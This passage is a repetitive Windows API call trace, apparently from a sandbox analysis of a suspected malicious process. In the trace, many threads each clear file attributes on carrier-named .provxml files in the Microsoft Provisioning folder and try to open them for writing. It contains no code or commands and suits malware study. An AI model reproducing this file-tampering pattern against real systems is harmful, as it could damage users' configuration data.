Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\632__Connections_Cellular_Virgin (Canada)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\632__connections_cellular_virgin (canada)_i1$(__mvid)@wap.provxml")) returned 0x20 [0182.342] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\632__Connections_Cellular_Virgin (Canada)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.342] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\632__Connections_Cellular_Virgin (Canada)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\632__connections_cellular_virgin (canada)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.342] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\632__Connections_Cellular_Virgin (Canada)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.342] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02838) returned 1 [0182.342] RtlExitUserThread (Status=0x0) Thread: id = 3242 os_tid = 0x6e8 [0182.250] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\633__Connections_Cellular_Solo (Canada)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\633__connections_cellular_solo (canada)_i0$(__mvid)@wap.provxml")) returned 0x20 [0182.643] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\633__Connections_Cellular_Solo (Canada)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.643] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\633__Connections_Cellular_Solo (Canada)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\633__connections_cellular_solo (canada)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.643] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\633__Connections_Cellular_Solo (Canada)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.643] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02318) returned 1 [0182.643] RtlExitUserThread (Status=0x0) Thread: id = 3243 os_tid = 0x954 [0182.251] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\634__Connections_Cellular_PC Mobile (Canada)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\634__connections_cellular_pc mobile (canada)_i0$(__mvid)@wap.provxml")) returned 0x20 [0182.688] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\634__Connections_Cellular_PC Mobile (Canada)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.688] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\634__Connections_Cellular_PC Mobile (Canada)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\634__connections_cellular_pc mobile (canada)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.688] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\634__Connections_Cellular_PC Mobile (Canada)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.688] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f900b0) returned 1 [0182.688] RtlExitUserThread (Status=0x0) Thread: id = 3244 os_tid = 0xb04 [0182.251] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\635__Connections_Cellular_3 (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\635__connections_cellular_3 (united kingdom)_i0$(__mvid)@wap.provxml")) returned 0x20 [0182.689] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\635__Connections_Cellular_3 (United Kingdom)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.689] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\635__Connections_Cellular_3 (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\635__connections_cellular_3 (united kingdom)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.689] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\635__Connections_Cellular_3 (United Kingdom)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.690] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9b0a0) returned 1 [0182.690] RtlExitUserThread (Status=0x0) Thread: id = 3245 os_tid = 0xaf8 [0182.252] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\636__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\636__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20 [0182.690] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\636__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", dwFileAttributes=0x20) returned 0 [0182.691] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\636__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\636__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.691] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\636__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", dwFileAttributes=0x20) returned 0 [0182.691] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f99f28) returned 1 [0182.691] RtlExitUserThread (Status=0x0) Thread: id = 3246 os_tid = 0xb08 [0182.255] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\637__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\637__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20 [0182.692] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\637__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0182.692] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\637__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\637__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.692] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\637__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0182.692] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054d10) returned 1 [0182.692] RtlExitUserThread (Status=0x0) Thread: id = 3247 os_tid = 0xb10 [0182.425] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\638__Connections_Cellular_Mico-P - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\638__connections_cellular_mico-p - 3 (united kingdom)_i0$(__mvid)@wap.provxml")) returned 0x20 [0182.642] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\638__Connections_Cellular_Mico-P - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.642] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\638__Connections_Cellular_Mico-P - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\638__connections_cellular_mico-p - 3 (united kingdom)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.642] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\638__Connections_Cellular_Mico-P - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.642] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff1678) returned 1 [0182.642] RtlExitUserThread (Status=0x0) Thread: id = 3248 os_tid = 0x1fc [0182.425] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\639__Connections_Cellular_Mico-P - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\639__connections_cellular_mico-p - 3 (united kingdom)_i1$(__mvid)@wap.provxml")) returned 0x20 [0182.640] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\639__Connections_Cellular_Mico-P - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.640] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\639__Connections_Cellular_Mico-P - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\639__connections_cellular_mico-p - 3 (united kingdom)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.641] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\639__Connections_Cellular_Mico-P - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.641] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff0868) returned 1 [0182.641] RtlExitUserThread (Status=0x0) Thread: id = 3249 os_tid = 0x20c [0182.426] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\63__Connections_Cellular_Telus (Canada)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\63__connections_cellular_telus (canada)_i0$(__mvid)@wap.provxml")) returned 0x20 [0182.639] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\63__Connections_Cellular_Telus (Canada)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.639] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\63__Connections_Cellular_Telus (Canada)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\63__connections_cellular_telus (canada)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.639] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\63__Connections_Cellular_Telus (Canada)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.639] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02ac8) returned 1 [0182.639] RtlExitUserThread (Status=0x0) Thread: id = 3250 os_tid = 0x25c [0182.426] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\640__Connections_Cellular_AQL - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\640__connections_cellular_aql - 3 (united kingdom)_i0$(__mvid)@wap.provxml")) returned 0x20 [0182.638] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\640__Connections_Cellular_AQL - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.638] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\640__Connections_Cellular_AQL - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\640__connections_cellular_aql - 3 (united kingdom)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.638] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\640__Connections_Cellular_AQL - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.638] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa2c98) returned 1 [0182.638] RtlExitUserThread (Status=0x0) Thread: id = 3251 os_tid = 0x268 [0182.426] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\641__Connections_Cellular_AQL - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\641__connections_cellular_aql - 3 (united kingdom)_i1$(__mvid)@wap.provxml")) returned 0x20 [0182.579] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\641__Connections_Cellular_AQL - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.579] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\641__Connections_Cellular_AQL - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\641__connections_cellular_aql - 3 (united kingdom)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.579] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\641__Connections_Cellular_AQL - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.579] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa2e00) returned 1 [0182.579] RtlExitUserThread (Status=0x0) Thread: id = 3252 os_tid = 0x2bc [0182.427] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\642__Connections_Cellular_AQL - 3 (United Kingdom)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\642__connections_cellular_aql - 3 (united kingdom)_i2$(__mvid)@wap.provxml")) returned 0x20 [0182.578] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\642__Connections_Cellular_AQL - 3 (United Kingdom)_i2$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.578] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\642__Connections_Cellular_AQL - 3 (United Kingdom)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\642__connections_cellular_aql - 3 (united kingdom)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.578] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\642__Connections_Cellular_AQL - 3 (United Kingdom)_i2$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.578] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa3aa8) returned 1 [0182.578] RtlExitUserThread (Status=0x0) Thread: id = 3253 os_tid = 0x2d0 [0182.427] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\643__Connections_Cellular_AQL - 3 (United Kingdom)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\643__connections_cellular_aql - 3 (united kingdom)_i3$(__mvid)@wap.provxml")) returned 0x20 [0182.576] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\643__Connections_Cellular_AQL - 3 (United Kingdom)_i3$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.576] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\643__Connections_Cellular_AQL - 3 (United Kingdom)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\643__connections_cellular_aql - 3 (united kingdom)_i3$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.577] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\643__Connections_Cellular_AQL - 3 (United Kingdom)_i3$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.577] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa3c10) returned 1 [0182.577] RtlExitUserThread (Status=0x0) Thread: id = 3254 os_tid = 0xb48 [0182.428] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\644__Connections_Cellular_X-Mobility - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\644__connections_cellular_x-mobility - 3 (united kingdom)_i0$(__mvid)@wap.provxml")) returned 0x20 [0182.575] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\644__Connections_Cellular_X-Mobility - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.575] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\644__Connections_Cellular_X-Mobility - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\644__connections_cellular_x-mobility - 3 (united kingdom)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.575] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\644__Connections_Cellular_X-Mobility - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.576] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa2428) returned 1 [0182.576] RtlExitUserThread (Status=0x0) Thread: id = 3255 os_tid = 0x320 [0182.428] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\645__Connections_Cellular_X-Mobility - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\645__connections_cellular_x-mobility - 3 (united kingdom)_i1$(__mvid)@wap.provxml")) returned 0x20 [0182.635] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\645__Connections_Cellular_X-Mobility - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.635] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\645__Connections_Cellular_X-Mobility - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\645__connections_cellular_x-mobility - 3 (united kingdom)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.635] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\645__Connections_Cellular_X-Mobility - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.635] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa33a0) returned 1 [0182.635] RtlExitUserThread (Status=0x0) Thread: id = 3256 os_tid = 0x394 [0182.429] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\646__Connections_Cellular_Macheen -3 (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\646__connections_cellular_macheen -3 (united kingdom)_i0$(__mvid)@wap.provxml")) returned 0x20 [0182.634] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\646__Connections_Cellular_Macheen -3 (United Kingdom)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.634] CreateFileW 